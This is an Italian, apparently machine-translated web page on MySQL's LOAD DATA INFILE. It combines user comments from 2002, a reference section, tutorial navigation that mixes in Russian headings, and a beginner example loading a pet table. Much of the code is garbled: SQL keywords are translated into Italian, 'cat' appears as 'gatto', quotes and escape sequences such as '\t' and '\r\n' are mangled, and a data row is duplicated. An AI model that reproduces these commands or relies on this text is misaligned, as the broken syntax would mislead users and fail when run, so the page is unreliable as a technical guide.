Inserito da campbell venerdì 17 maggio 2002, @6:24

[Elimina][Modifica]

Secondo quello. (!) Non capisco come tu
scrivi quella frase con una faccia seria.

Inserito da Jonathon Padfield venerdì 17 maggio 2002, @6:24am

[Elimina][Modifica]

Inoltre, nessuna informazione su quali righe vengono saltate
viene data.

Inserito da venerdì 17 maggio 2002, @ 6:24

[Elimina][Modifica]

Questa funzione è molto utile quando si invia un file
INSERT da una pagina web. Se l'utente colpisce
aggiornare e ripubblicare i dati del modulo che risultano in un file
successivo INSERIMENTO degli stessi dati di chiave primaria,
boom, l'app si rompe. In questo modo, l'utente potrebbe
premi F5 finché la loro faccia non diventa blu, e loro
non interromperà l'istruzione REPLACE.

[Elimina][Modifica]

Ho una cartella MyDB in c:\mysql\data
Metto lì Data.txt e quando eseguo
CARICA DATI LOCALE INFILE "Data.txt" NELLA TABELLA
MyTable dice: Il comando è stato eseguito correttamente
ma NESSUN valore viene aggiunto a MyTable.
Sono sotto W2K

Inserito da van hoof philip venerdì 17 maggio 2002, @6:24am

[Elimina][Modifica]

Voglio sincronizzare il mio database con un altro
database di tanto in tanto. Ciò significa che io
dovrà usare la cosa REPLACE. Ma per quanto riguarda
record che non esistono più nel più recente
Banca dati. Saranno cancellati in quello MySQL?
C'è un modo per eliminarli automaticamente? O è il
unica soluzione per eliminare la mia tabella MySQL e ricrearla
prima di iniziare a caricarlo. Sto usando crontab
script per questa operazione quindi nessuna interazione umana
è possibile durante queste operazioni.

Inserito da venerdì 17 maggio 2002, @ 6:24

[Elimina][Modifica]

La documentazione non è chiara su cosa
costituisce una chiave/indice "unico" in quest'area. Esso
backreferences a "insert", ma insert no
avere un tale vincolo. Ho trovato quella primaria
le chiavi sono sufficientemente univoche, ma ho dovuto aggiungere
primarie dove non le volevo.Forse lo sono
manca qualcosa....

Inserito da venerdì 17 maggio 2002, @ 6:24

[Elimina][Modifica]

È molto frustrante ricevere avvisi quando lo si è
importare i dati in un database MySQL
in grado di accedere a qualsiasi informazione sugli avvisi.
MySQL ha davvero bisogno di aggiungere una funzionalità che lo farà
segnalare di cosa tratta un avvertimento piuttosto che solo
segnalare un avvertimento. Idealmente le informazioni su
l'avviso dovrebbe essere fornito immediatamente. A
per lo meno dovrebbe essere una sorta di log degli errori
creato a cui un utente può accedere.

Inserito da venerdì 17 maggio 2002, @ 6:24

[Elimina][Modifica]

Sull'argomento "F5 finché la loro faccia non diventa blu"...

Questo dovrebbe essere gestito nell'applicazione. Esso
di certo non fa male dire all'utente "tu".
già inserito questo. Per favore, smettila di rinfrescare".

In realtà, a causa del numero di fine iperimpaziente
perdenti là fuori, questo sembra particolarmente
buona idea.

Inserito da Larry Irwin martedì 20 agosto 2002, @ 11:50

[Elimina][Modifica]

Sarebbe molto utile avere un'opzione aggiuntiva
a "IGNORARE VINCOLI" durante il caricamento
processi.

Inserito da giovedì 5 settembre 2002, @ 1:34

[Elimina][Modifica]

C'è un problema con "su un tavolo MyISAM vuoto, all
gli indici non univoci vengono creati in un batch separato"
poiché il meccanismo utilizzato è un "ripara con
keycache" che può essere molto lento se ne hai molti
indici. Bisogna davvero usare il meccanismo per
interrompere la creazione delle chiavi e quindi eseguire la riparazione con
myisamchk usando "ripara con sort" come descritto in
sezione 5.2.9 (se riesci a farlo funzionare:-()

Inserito mercoledì 9 ottobre 2002, @ 12:43

[

Sintassi LOAD DATA INFILE

CARICA DATI INFILE" nome del file. txt" IN TABELLA nome_tabella
[INCLUSO DA"]
]
]
[(nome_colonna,...)]
L'istruzione LOAD DATA INFILE legge righe da un file di testo e le carica in una tabella ad altissima velocità.
Puoi anche caricare file di dati utilizzando l'utilità di importazione mysql. Funziona inviando un'istruzione LOAD data INFILE al server. L'opzione --local fa in modo che l'utility mysqlimport legga il file di dati dall'host client. È possibile specificare l'opzione -compress per migliorare le prestazioni su reti lente se il client e il server supportano il protocollo compresso.
Se viene specificata la parola chiave LOW_PRIORITY, l'esecuzione dell'istruzione LOAD DATA viene ritardata finché tutti gli altri client non hanno terminato la lettura.
Se la parola chiave CONCURRENT è specificata con una tabella MyISAM che soddisfa la condizione di inserimento parallelo (ovvero, non ha blocchi liberi nel mezzo del file), allora altri thread saranno in grado di recuperare i dati dalla tabella nello stesso momento in cui LOAD DATA viene eseguito. L'utilizzo di questa opzione ha un leggero impatto sulle prestazioni di LOAD DATA, anche se nessun altro thread sta lavorando con questa tabella.
Se viene specificata la parola chiave LOCAL, si riferisce al lato client della connessione.

1. Se viene specificata la parola LOCAL, il file viene letto dal programma client sull'host del client e inviato al server.
2. Se la parola LOCAL non è specificata, il file caricato deve risiedere sull'host del server e viene letto direttamente dal server.

LOCAL è disponibile in MySQL 3.22.6 e versioni successive.
Per motivi di sicurezza, durante la lettura dei file di testo che si trovano sul server, i file devono trovarsi nella directory dei dati o essere leggibili da tutti. Inoltre, per utilizzare LOAD DATA con i file del server, è necessario disporre del privilegio FILE.
Il download con l'opzione LOCAL è leggermente più lento rispetto a quando si dà al server la possibilità di accedere direttamente ai file scaricati, perché in questo caso il contenuto dei file viene trasferito sulla rete tramite il server client-ser sulla connessione corretta. D'altra parte, in questo caso non hai bisogno dei privilegi FILE.
A partire da MySQL 3.23.49 e MySQL 4.0.2 (4.0.13 su Windows), LOCAL funziona solo se sia il client che il server lo consentono. Ad esempio, se mysqld viene avviato con l'opzione -local-inf ile=0, LOCAL non funzionerà.

Se è necessario utilizzare LOAD DATA per leggere da una pipe del programma, è possibile utilizzare la seguente tecnica:
mkfifo /mysql/db/x/x
chmod 666 /mysql/db/x/x
gatto< /dev/tcp/10.1.1.12/4711 >/mysql/db/x/x
mysql -e "LOAD DATA INFILE "x1 INTO TABLE x" x
Se stai utilizzando una versione di MySQL precedente alla 3.23.25, questa tecnica può essere utilizzata solo con LOAD DATA LOCAL INFILE.
Se hai una versione di MySQL precedente alla 3.23.24, non sarai in grado di leggere utilizzando l'istruzione LOAD DATA INFILE da un FIFO. Se hai bisogno di leggere da un FIFO (es. output gunzip), usa invece LOAD DATA LOCAL INFILE.
Durante la ricerca di un file nel suo file system, il server è guidato dalle seguenti regole:

1. Se viene specificato un percorso assoluto, il server lo utilizza così com'è.
2. Se viene fornito un percorso relativo con uno o più componenti principali, il server cerca i file relativi alla sua directory di dati.
3. Se viene fornito un nome file senza componenti del percorso iniziale, il server cerca il file nella directory dei dati del database predefinita.

Si noti che queste regole implicano che un file denominato ./myfile.txt venga letto dalla directory dei dati del server, mentre un file denominato myfile,txt venga letto dalla directory dei dati predefinita del database. Ad esempio, la seguente istruzione LOAD DATA INFILE legge il file data.txt dalla directory dei dati del database dbl poiché dbl è il database corrente, anche se l'istruzione sta caricando i dati nel database db2:
mysql> USA doppio;
mysql> LOAD DATA INFILE "data.txt" NELLA TABELLA db2.my_table;
Le parole chiave REPLACE e IGNORE controllano la gestione delle stringhe di input che duplicano le chiavi univoche esistenti per valore.
Se REPLACE è specificato, le righe di input sostituiscono le righe esistenti (in altre parole, le righe che hanno gli stessi valori di chiave primaria o univoca delle righe esistenti nella tabella). Vedere REPLACE Sintassi
Se viene specificato IGNORE, le righe di input che duplicano le righe esistenti con gli stessi valori di chiave primaria o univoca vengono ignorate. Se nessuna opzione è specificata, il comportamento dipende dal fatto che sia specificata o meno la parola chiave local. In assenza di LOCAL, viene generato un errore se viene trovata una chiave duplicata e il resto del file di testo viene ignorato. Se LOCAL è presente, il comportamento predefinito è lo stesso come se fosse specificato IGNORE. Questo perché il server non è in grado di interrompere il trasferimento di file mentre questa operazione è in corso.
Se si desidera ignorare i vincoli di chiave esterna durante un'operazione di caricamento dei dati, è possibile emettere un'istruzione SET FOREIGN_KEY_CHECKS=0 prima di eseguire LOAD DATA.
Se si esegue LOAD DATA su una tabella MyISAM vuota, tutti gli indici non univoci vengono creati in un lavoro separato (come per REPAIR TABLE). Questo di solito fa sì che LOAD DATA sia molto più veloce quando ci sono molti indici. Questo è generalmente molto veloce, ma in alcuni casi speciali puoi creare indici ancora più velocemente disattivandoli con ALTER TABLE.. DISABLE KEYS prima del caricamento

file alla tabella, ricreando gli indici e abilitandoli con ALTER TABLE.. .ENABLE KEYS al termine del caricamento.
LOAD DATA INFILE è un'aggiunta a SELECT.. .INTO OUTFILE. Vedere Sintassi SELECT Per scrivere dati da una tabella in un file, utilizzare SELECT... INTO OUTFILE. Per rileggere i dati da un file in una tabella, utilizzare LOAD DATA INFILE. La sintassi dei costrutti FIELDS e LINES è la stessa per entrambe le istruzioni. Entrambi questi costrutti sono facoltativi, ma i campi devono precedere LINES se sono specificati entrambi.
Se viene specificato il costrutto FIELDS, anche tutti i suoi parametri (TERMINATED BY, ENCLOSED BY e ESCAPED BY) sono facoltativi, ad eccezione del requisito che deve essere presente almeno un parametro.
Se il costrutto FIELDS non è specificato, il valore predefinito è:
CAMPI TERMINATI DA "tf INCLUSI DA"ESCAPED BY"
Se LINES non è specificato, il valore predefinito è:
RIGHE TERMINATE DA "n! CHE INIZIA DA"
In altre parole, il comportamento predefinito di LOAD DATA INFILE durante la lettura dell'input è:

1. Cerca i separatori di riga all'inizio delle righe.
2. Non saltare alcun prefisso di stringa.
3. Dividi una riga in campi per caratteri di tabulazione.
4. Non aspettarti che i campi vengano citati.
5. Interpreta l'occorrenza di una tabulazione, una nuova riga o "\" preceduta da \ come caratteri letterali che fanno parte del valore del campo.

Al contrario, SELECT ... INTO OUTFILE si comporta in questo modo per impostazione predefinita:

1. Scrive schede tra i campi.
2. Non racchiude i valori dei campi tra virgolette.

• Utilizza *" per evidenziare tabulazioni, caratteri di nuova riga o "\" che si trovano all'interno dei valori dei campi.
• Scrive un carattere di nuova riga alla fine delle righe.

Si noti che scrivere FIELDS ESCAPED BY "W richiederebbe due barre rovesciate per i valori che devono leggere una singola barra rovesciata.
Su una nota!
Se hai generato un file di testo su un sistema Windows, potrebbe essere necessario specificare LINES TERMINATED BY "rn per leggere correttamente il file, poiché i programmi Windows in genere utilizzano questi due caratteri come separatori di riga. Alcuni programmi, come WordPad, potrebbero utilizzare il carattere "r " come separatore di riga Per leggere tali file, utilizzare LINEE TERMINATE DA "r".
Se tutte le righe del file letto hanno un prefisso comune che vuoi ignorare, usa LINES STARTING BY " string_prefissi per saltare questo prefisso. Se la stringa non contiene un prefisso, viene completamente ignorata.

Opzione IGNORA quantità LINES viene utilizzato per ignorare un determinato numero di righe all'inizio di un file. Ad esempio, puoi utilizzare IGNORE I LINES per saltare la riga iniziale contenente i nomi delle colonne:
mysql> LOAD DATA INFILE "/tmp/test.txt" -> INTO TABLE test IGNORE 1 LINES;
Quando si utilizza SELECT... INTO OUTFILE insieme a LOAD DATA INFILE per scrivere i dati dal database in un file e quindi leggerli e caricarli nuovamente nel database, le opzioni di controllo di riga e campo per entrambe le istruzioni devono corrispondere. In caso contrario LOAD DATA INFILE non sarà in grado di interpretare correttamente il contenuto del file di testo. Supponiamo che tu emetta i dati in un file di testo usando SELECT.. .INTO OUTFILE, separando i campi con virgole:
mysql> SELEZIONARE* INTO OUTFILE "data.txt" -> CAMPI TERMINATI DA"," -> FROM tabella2;
Per rileggere un file separato da virgole, la cosa giusta da fare è:
mysql> LOAD DATA INFILE "data.txt1 INTO TABLE table2 -> CAMPI TERMINATI DA
Se invece provi a leggerlo con l'istruzione seguente, non funzionerà perché LOAD DATA INFILE cercherà le schede tra i valori dei campi:
mysql> LOAD DATA INFILE "data.txt" NELLA TABELLA table2 -> CAMPI TERMINATI DA "t";
Il risultato più probabile sarebbe interpretare la stringa di input come un singolo campo.
LOAD DATA INFILE può essere utilizzato anche per leggere file da fonti esterne. Ad esempio, un file potrebbe avere campi separati da virgole e racchiusi tra doppi apici. Se le righe in un file sono separate da un carattere di nuova riga, l'esempio seguente illustra quali opzioni di separatore di riga e colonna devono essere impostate per caricare un file:
mysql> CARICA DATI INFILE "data.txt" NELLA TABELLAnome_tabella-> CAMPI TERMINATI DA 1,1 RACCHIUSI DA "" -> RIGHE TERMINATE DA"N";
Tutte le opzioni che specificano delimitatori di riga e colonna possono ricevere stringhe vuote ("") come argomenti. Se gli argomenti non sono stringhe vuote, i valori FOR FIELDS ENCLOSED BY E FIELDS ESCAPED BY DEVONO essere OPZIONI A CARATTERE SINGOLO. OPZIONI Gli argomenti BY, LINES STARTING BY e LINES TERMINATED BY possono essere lunghi più di un carattere. Ad esempio, per scrivere righe separate da ritorni a capo/avanzamenti di riga o per leggere file contenenti tali righe, utilizzare LINES TERMINATED BY "rn".
Per leggere un file separato da righe con caratteri %%, puoi fare quanto segue:
mysql> CREA TABELLA scherzi
-> (a INT NOT NULL AUTO_INCREMENT PRIMARY KEY, -> joke TEXT NOT NULL);

mysql> LOAD DATA INFILE "/tmp/jokes,txf INTO TABLE jokes -> CAMPI TERMINATI DA "" -> LINEE TERMINATE DA "\n%%\n" (joke);
FIELDS ENCLOSED BY controlla i delimitatori di campo (virgolette). Nell'output (SELECT ... INTO OUTFILE), se si omette la parola OPTIONALLY, tutti i campi saranno circondati dal carattere specificato in ENCLOSED BY. Un esempio di tale output (utilizzando una virgola come separatore di campo) è mostrato di seguito:
"1","una stringa","100.20"
"2","una stringa contenente una , virgola","102.20"
"3","una stringa contenente un \" quote","102.20"
"4","una stringa contenente \", virgolette e virgola","102.20"
Se specifichi FACOLTATIVA, il carattere ENCLOSED BY si applica solo ai campi CHAR e VARCHAR tra virgolette:
1,"una stringa",100.20
3,"una stringa contenente un \"virgolette",102.20
4,"una stringa contenente \", virgolette e virgola",102.20
Si noti che le occorrenze del carattere specificato in ENCLOSED BY all'interno del valore del campo sono precedute dal carattere specificato in ESCAPED BY. Inoltre, se si specifica un valore vuoto per ESCAPED BY, è possibile che venga generato un file che LOAD DATA INFILE non riesce a caricare correttamente.
Ad esempio, se il carattere di annullamento viene lasciato vuoto, l'output sopra sarà simile a quello sotto. È facile vedere che il secondo campo sulla quarta riga contiene una virgola seguita da virgolette, che sembrerebbe (erroneamente) un separatore di campo.
1,"una stringa",100.20
2,"una stringa contenente una , virgola",102.20
3,"una stringa contenente una "virgoletta",102.20
4,"una stringa contenente ", virgolette e virgola",102.20
In ingresso, il carattere ENCLOSED BY, se presente, viene rimosso dalla fine del valore del campo. (Questo è vero indipendentemente dal fatto che sia specificata o meno la parola OPTIONALLY. Questa parola non ha alcun effetto sull'interpretazione dell'input.) L'occorrenza dei caratteri ENCLOSED BY preceduti da un carattere ESCAPED BY viene interpretata come parte del valore corrente del campo.
Se un campo inizia con un carattere ENCLOSED BY, le istanze di tale carattere vengono interpretate come terminanti del valore del campo solo se sono seguite da un campo o una sequenza TERMINATED BY. Per evitare ambiguità quando un carattere ENCLOSED BY appare all'interno di un valore di campo, quel carattere può essere duplicato e verrà interpretato come una singola istanza del carattere. Ad esempio, se ENCLOSED BY "" è specificato, le virgolette vengono gestite come segue:
"Il capo ""GRANDE"" -> Il capo "GRANDE" Il capo "GRANDE" -> Il capo "GRANDE" Il capo ""GRANDE"" -> Il capo ""GRANDE""
FIELDS ESCAPED BY controlla la lettura o la scrittura di caratteri speciali. Se l'argomento FIELDS ESCAPED BY non è vuoto, viene utilizzato come prefisso per i seguenti caratteri nell'output:

1. Il carattere CAMPI SCAPPATI DA.
2. Il carattere CAMPI RACCHIUSI DA.
3. Il primo carattere delle sequenze FIELDS TERMINATED BY e LINES TERMINATED BY.
4. ASCII 0 (che viene scritto dopo il carattere di annullamento come "0" ASCII, non un byte nullo).

Se il carattere FIELDS ESCAPED BY è vuoto, nessun carattere è preceduto da caratteri di escape e NULL viene emesso come NULL, non \N. Probabilmente non è una buona idea lasciare vuoto l'argomento FIELDS ESCAPED BY, soprattutto se i valori del campo dati contengono uno dei caratteri citati.
All'input, se FIELDS ESCAPED BY non è vuoto, quando quel carattere appare nella stringa del valore, viene rimosso e il carattere che lo segue viene letto letteralmente come parte del valore del campo. Le eccezioni sono "0" o "N" (SYS-PAGE-CONTENT o \N se "\" è il carattere di escape). Queste sequenze vengono interpretate rispettivamente come ASCII NUL (zero byte) e NULL. Le regole per gestire NULL sono descritte più avanti in questa sezione.
Ulteriori informazioni sulla sintassi di cancellazione "\" sono disponibili nella sezione Valori letterali
In alcuni casi, le opzioni che controllano campi e righe interagiscono tra loro:

1. Se viene specificata una stringa vuota per LINES TERMINATED BY e FIELDS TERMINATED BY non è vuota, LINES TERMINATED BY funge anche da separatore di riga.
2. SE I CAMPI TERMINATI DA E I CAMPI INCLUSI DA sono entrambi vuoti, viene utilizzato il formato stringa fisso (senza delimitatori). Questo formato non utilizza alcun separatore tra i campi (ma puoi avere un separatore di riga). Invece, i valori delle colonne vengono scritti e letti utilizzando la larghezza del display della colonna. Ad esempio, se una colonna viene dichiarata come INT(7), i valori della colonna vengono scritti in un campo di sette caratteri. Durante la digitazione, i valori della colonna vengono recuperati leggendo sette caratteri.

LINES TERMINATED BY è ancora utilizzato per separare le righe. Se una riga non contiene tutti i campi, il resto delle colonne viene impostato sui valori predefiniti. Se non si dispone di un terminatore di riga, il suo valore deve essere impostato su 1". In questo caso, il file di testo deve contenere tutti i campi su ciascuna riga. Il formato a lunghezza di riga fissa gestisce anche i valori NULL, come descritto di seguito. Si noti che la lunghezza del formato della riga fissa non funziona se viene utilizzato un set di caratteri a più byte (ad esempio, Unicode).
La gestione dei valori NULL varia a seconda delle opzioni FIELDS e LINES utilizzate:

1. Con i valori FIELDS e LINES predefiniti, NULL viene scritto come valore di campo come \N sull'output e lo stesso valore \N viene letto come NULL sull'input (supponendo che il carattere ESCAPED BY sia impostato su "\")-
2. Se FIELDS ENCLOSED BY non è vuoto, il campo contenente la parola letterale NULL viene letto come valore NULL. Questo è diverso dal caso in cui la parola NULL è limitata ai caratteri FIELDS ENCLOSED BY, dove il valore viene letto come la stringa "NULL".
3. Se FIELDS ESCAPED BY è vuoto, NULL viene scritto come la parola NULL.

• Con un formato di stringa fisso (che si verifica quando sia FIELDS TERMINATED BY che FIELDS ENCLOSED BY sono vuoti), NULL viene scritto come una stringa vuota. Si noti che ciò fa sì che i valori NULL e le righe vuote nella tabella diventino indistinguibili quando vengono scritti nel file, poiché entrambi scrivono righe nulle. Se è necessario distinguere tra i due, evitare di utilizzare il formato a lunghezza di riga fissa.
  Di seguito sono riportati alcuni casi non supportati da LOAD DATA INFILE:
  1. Stringhe a LUNGHEZZA fissa (FIELDS TERMINATED BY AND FIELDS ENCLOSED BY sono nyc) quando sono presenti colonne di tipo TEXT o BLOB.
  2. Se si specifica un delimitatore che corrisponde al prefisso di un altro, LOAD DATA INFILE non può interpretare correttamente il flusso di input. Ad esempio, la seguente opzione porterà a problemi:

  CAMPI CHIUSI DA ""INCLUSO DA""
  

  • Se FIELDS ESCAPED BY è vuoto, i valori di campo che includono i caratteri FIELDS ENCLOSED BY OR LINES TERMINATED BY seguiti da LINES TERMINATED BY faranno sì che LOAD DATA INFILE interrompa la lettura del file o della riga troppo presto. Ciò accadrà perché LOAD DATA INFILE non è in grado di determinare correttamente dove finisce il valore del campo o della riga. L'esempio seguente carica tutte le colonne della tabella persondata: mysql> LOAD DATA INFILE "persondata.txt" NELLA TABELLA persondata;
    Per impostazione predefinita, se non viene fornito alcun elenco di colonne alla fine dell'istruzione LOAD DATA INFILE, la riga di input dovrebbe contenere campi per ogni colonna della tabella. Se desideri caricare solo alcune delle colonne della tabella, specifica un elenco di colonne:
    mysql> CARICA DATI NEL FILE "persondata.txt1
    -> INTO TABLE persondata(coll,col2,...);
    È inoltre necessario specificare un elenco di colonne se l'ordine dei campi nel file di input è diverso dall'ordine delle colonne nella tabella. In caso contrario, MySQL non sarà in grado di mappare i campi di input alle colonne della tabella.
    Se il file di input ha troppo pochi campi per riga, alle colonne mancanti verranno assegnati valori predefiniti. L'assegnazione dei valori predefiniti è descritta nella sezione Sintassi CREATE TABLE.
    I valori dei campi vuoti vengono interpretati in modo diverso rispetto a quelli mancanti:
    1. Per i tipi stringa, alla colonna viene assegnata una stringa vuota.
    2. Per i tipi numerici, alla colonna viene assegnato 0.
    3. Per i tipi di data e ora: la colonna è impostata sul tipo appropriato
       valore "nullo". Vedere Tipi di data e ora

    Questi sono gli stessi valori che risultano dall'assegnazione esplicita di una stringa vuota a colonne di questi tipi in un'istruzione INSERT o UPDATE.
    I valori della colonna TIMESTAMP sono impostati sulla data e l'ora correnti solo se sono impostati su NULL (ovvero \N) o se una colonna di quel tipo è omessa dall'elenco dei campi, se l'elenco dei campi è fornito.

    LOAD DATA INFILE tratta tutti gli input come una stringa, quindi non è possibile utilizzare valori numerici per le colonne ENUM o SET, come consentito nelle istruzioni INSERT. Tutti i valori ENUM o SET devono essere specificati come stringhe!
    Quando l'istruzione LOAD DATA INFILE viene completata, restituisce una stringa di informazioni nel seguente formato:
    Record: I Eliminati: 0 Saltati: 0 Avvertimenti: O
    Se stai lavorando con l'API C, puoi ottenere informazioni su questa istruzione chiamando la funzione mysql_info().
    Gli avvisi che compaiono in determinate condizioni sono gli stessi di quando si inseriscono valori con l'istruzione INSERT (vedere la sezione 6.1.4), tranne per il fatto che LOAD DATA INFILE genera anche avvisi che c'è troppo poco o troppo poco nel file di input. molti campi. Gli avvisi non vengono memorizzati da nessuna parte, il numero di avvisi può essere utilizzato solo come indicazione che tutto è andato bene.
    A partire da MySQL 4.1.1, puoi utilizzare SHOW WARNINGS per elencare i primi avvisi max_error_count come informazioni su Che cosa il caricamento è andato storto. Vedere Sintassi SHOW WARNINGS
    Prima di MySQL 4.1.1, solo il numero di avvisi indicava che un carico non funzionava correttamente. Se ricevi un avviso e vuoi sapere esattamente perché è successo, l'unico modo per farlo è usare SELECT.. .INTO OUTFILE per scaricare il dump della tabella in un altro file e confrontarlo con il file di input originale.

Navigazione nel tutorial: 1.1 Che cos'è MySQL? 1.2 Perché utilizzare MySQL? 1.3 Quanto è stabile MySQL? 1.4 Quanto possono essere grandi le tabelle MySQL? 1.5 MySQL, MySQL AB, MySQL-MAX: cos'è? 1.6 Su quali sistemi operativi funziona MySQL? 1.7 Distribuzioni MySQL 1.8 Prompt della riga di comando di MySQL 2.1 Introduzione a MySQL 2.2 Connessione al server MySQL 2.3 Inserimento di query in MySQL 2.4 Creazione e utilizzo di database 2.5 Creazione di un database MySQL 2.6 Creazione di una tabella MySQL 2.7 Caricamento di dati in una tabella MySQL 2.8 Selezione di tutti i dati da una Tabella MySQL 2.9 Selezione di righe specifiche da una tabella MySQL 2.10 Selezione di colonne arbitrarie da una tabella MySQL 2.11 Ordinamento di righe da una tabella MySQL 2.12 Calcolo delle date in una tabella MySQL 2.13 Lavorare con valori NULL in una tabella MySQL 2.14 Pattern matching. Modelli SQL. 2.15 Conteggio delle righe nei modelli SQL. Funzione COUNT() 2.16 Utilizzo di più tabelle in una query SQL 2.17 Ottenere informazioni su database e tabelle MySQL 2.18 Esempi di query comuni in MySQL 2.19 Valore massimo per una colonna MySQL 2.20 Quale riga memorizza il massimo di una determinata colonna MySQL 2.21 Massimo di una colonna in un gruppo MySQL 2.22 B quale riga MySQL è il valore massimo per gruppo? 2.23 Utilizzo delle variabili utente in MySQL 2.24 Utilizzo del client MySQL in modalità batch 3.1 Stringhe in MySQL 3.2 Numeri in MySQL. Come scrivere numeri in MySQL? 3.3 Valori esadecimali in MySQL 3.4 Valori NULL in MySQL 3.5 Nomi di database, tabelle, indici, colonne e alias in MySQL 3.6 Sensibilità tra maiuscole e minuscole nei nomi MySQL 3.7 Variabili utente in MySQL 3.8 Commenti in MySQL 3.9 Parole riservate MySQL 4.1 Database MySQL ridondanza 4.2 Sintassi MySQL BACKUP TABLE 4.3 Sintassi MySQL RESTORE TABLE 4.4 Sintassi MySQL CHECK TABLE 4.5 Sintassi MySQL REPAIR TABLE 4.6 Sintassi MySQL OPTIMIZE TABLE 4.7 Sintassi MySQL ANALYZE TABLE 4.8 Sintassi MySQL FLUSH 4.9 Sintassi MySQL KILL 4.10 Sintassi MySQLSTAT SHOW MySQL MySQL 4.12 Синтаксис SHOW STATUS в MySQL 4.13 Синтаксис SHOW VARIABLES в MySQL 4.14 back_log 4.15 character_set, character_sets, concurrent_inserts 4.16 connect_timeout, delay_key_write, delayed_insert_limit 4.17 delayed_insert_timeout, delayed_queue_size, flush_time 4.18 have_raid, have_ssl, init_file 4.19 interactive_timeout, join_buffer_size , key_buffer_size 4. 20 language, log_bin, long_query_time 4.21 lower_case_table_names, max_allowed_packet, max_binlog_cache_size 4.22 max_connections, max_connect_errors, max_delayed_threads 4.23 max_join_size, max_sort_length, max_user_connections 4.24 max_tmp_tables, max_write_lock_count, myisam_sort_buffer_size 4.25 mуisam_max_extra_sоrt_file_size, myisam_max_sort_file_size, net_buffer_length 4.26 net_read_timeout, net_retry_count, net_write_timeout 4.27 open_files_limit, port, record_buffer 4.28 protocol_version , record_rnd_buffer, query_buffer_size 4.29 safe_show_databases, skip_networking, skip_show_databases 4.30 socket, sort_buffer, skip_show_databases 4.31 thread_cache_size, tmp_table_size, wait_timeout 4.32 Синтаксис SHOW PROCESSLIST в MySQL 4.33 Синтаксис SHOW GRANTS в MySQL 4.34 Синтаксис SHOW CREATE TABLE в MySQL 4.35 Файл опций my.cnf в MySQL 5.1 Tipi colonna in MySQL 5.2 Tipi numerici in MySQL 5.3 Tipi data e ora in MySQL 5.4 Tipi Y2K (2000) Problema e tipi data in MySQL 5.5 Tipi DATETIME, DATE e TIMESTAMP in MySQL 5.6 Tipo TIME in MySQL 5.7 Tipo YEAR in MySQL 5.8 Tipi stringa CHAR e VARCHAR in MySQL 5.9 Tipi di stringa BLOB e TEXT in MySQL 5.10 Tipo di stringa MySQL ENUM 5.11 Tipo di stringa MySQL SET 5.12 Selezione del tipo corretto per una colonna MySQL 5.13 Utilizzo di tipi di colonna da altri RDBMS per MySQL 5.14 Requisiti di memoria per le colonne MySQL 6.1 Funzioni per Utilizzo di MySQL in SELECT e WHERE 6.2 Operatore di parentesi non tipizzate in MySQL 6.3 Operatore di confronto non tipizzato in MySQL 6.4 Operatori logici in MySQL 6.5 Funzioni di diramazione in MySQL 6.6 Funzioni di stringa in MySQL

Dopo aver creato una tabella, è necessario popolarla con i dati. Istruzioni e INSERIRE utile per questo. Come funzionano, parleremo un po 'più tardi, ma per ora pensiamo ai dati che devono essere inseriti nella tabella. Come appaiono esattamente?

Supponiamo che i tuoi record di animali possano essere descritti come mostrato di seguito. Tieni presente che MySQL prevede le date nel formato anno-mese-giorno, questo potrebbe essere diverso da quello a cui sei abituato. È meglio inserire l'anno con 4 cifre. MySQL ha un algoritmo piuttosto complesso per gestire correttamente i valori dell'anno a due cifre, ma non è ancora necessario capirlo, quindi inseriamo i dati in modo inequivocabile. Tutti i dati sugli animali per il nostro esempio sono mostrati nella Tabella 2.2:

Tabella 2.2. Dati sugli animali

nome	proprietario	specie	sesso	nascita	morte
Soffice	Harold	gatto	F	1993-02-04
Soffice	Harold	gatto	F	1993-02-04
Artigli	Gwen	gatto	M	1994-03-17
Buffy	Harold	cane	F	1989-05-13
Zanna	Benny	cane	M	1990-08-27
bowser	Diana	cane	M	1989-08-31	1995-07-29
Allegro	Gwen	uccellino	F	1998-09-11
Fischiatore	Gwen	uccellino		1997-12-09
Sottile	Benny	serpente	M	1996-04-29

Poiché inizi con una tabella vuota, il modo più semplice per popolarla è creare un file di testo contenente una riga per ciascuno dei tuoi animali, quindi caricare il contenuto del file nella tabella con una sola istruzione.

È possibile creare un file di testo pet.txt contenente una voce per riga, con valori separati da tabulazioni nell'ordine in cui le colonne sono state elencate nell'istruzione CREATE TABLE. Per i valori mancanti (come sesso sconosciuto o date di morte per animali ancora in vita), puoi utilizzare valori NULL. Per presentarli in un file di testo, utilizzare un'etichetta. Ad esempio, una voce su un uccello Whistler è simile a questa (ho contrassegnato una scheda con uno spazio):

Whistler Gwen uccellino 1997-12-09

Per caricare i dati da un file di testo pet.txt situato sul computer locale (client) e non sul server nella pet table, utilizzare il comando LOAD DATA:

Mysql> LOAD DATA INFILE LOCALE "pet.txt" NELLA TABELLA pet;

Le parole chiave hanno il seguente significato. INFILE specifica una stringa che è il nome del file da cui leggere i dati. Poiché il nome è una stringa, è racchiuso tra virgolette, altrimenti MySQL proverà a valutarlo come un'espressione numerica. LOCALE specifica che il file deve essere cercato sul sistema client, non sul server. IN TAVOLA ordina di caricare i dati nella tabella il cui nome è specificato subito dopo la parola TABLE (separata da uno spazio).

È possibile specificare esplicitamente il separatore del valore di colonna e l'indicatore di fine riga nell'istruzione, se lo si desidera, ma i valori predefiniti sono solo tabulazioni e newline. Sono sufficienti per leggere correttamente il file pet.txt, e non ti serve altro adesso.

Quando vuoi aggiungere nuovi record uno per uno, l'istruzione è utile INSERIRE. Nella sua forma più semplice, fornisci i valori per ogni colonna nell'ordine in cui le colonne sono state elencate nell'istruzione CREATE TABLE. Supponiamo che Diane abbia ricevuto in regalo un nuovo criceto Puffball. Puoi aggiungere una nuova voce usando l'istruzione INSERT, qualcosa del genere:

MySQL> INSERT INTO pet
-> VALUES ("Puffball","Diane","hamster","f","1999-03-30","NULL");

Anche le parole chiave qui non sono particolarmente difficili. INTO pet determina in quale tabella inserire. VALORI specifica un elenco di valori da inserire per una nuova voce nella tabella. I valori sono elencati separati da virgole e tutti insieme sono presi tra parentesi.

Si noti che le stringhe e il valore della data sono definiti come stringhe. È possibile inserire NULL direttamente (non come una stringa) per rappresentare l'assenza di un valore.

Puoi vedere da questo esempio che ci vorrebbe un bel po' di digitazione per caricare direttamente in una tabella. Le istruzioni hanno risparmiato molto tempo.

Hai mai dovuto caricare dati da un file in una tabella da un file? In caso contrario, proverò a parlarti brevemente di un modo per farlo.

Carica i dati nella tabella dal file

LOAD DATA INFILE "data.csv" INTO TABLE my_table Questo costrutto ti aiuterà a caricare i dati da un file nella tua tabella.

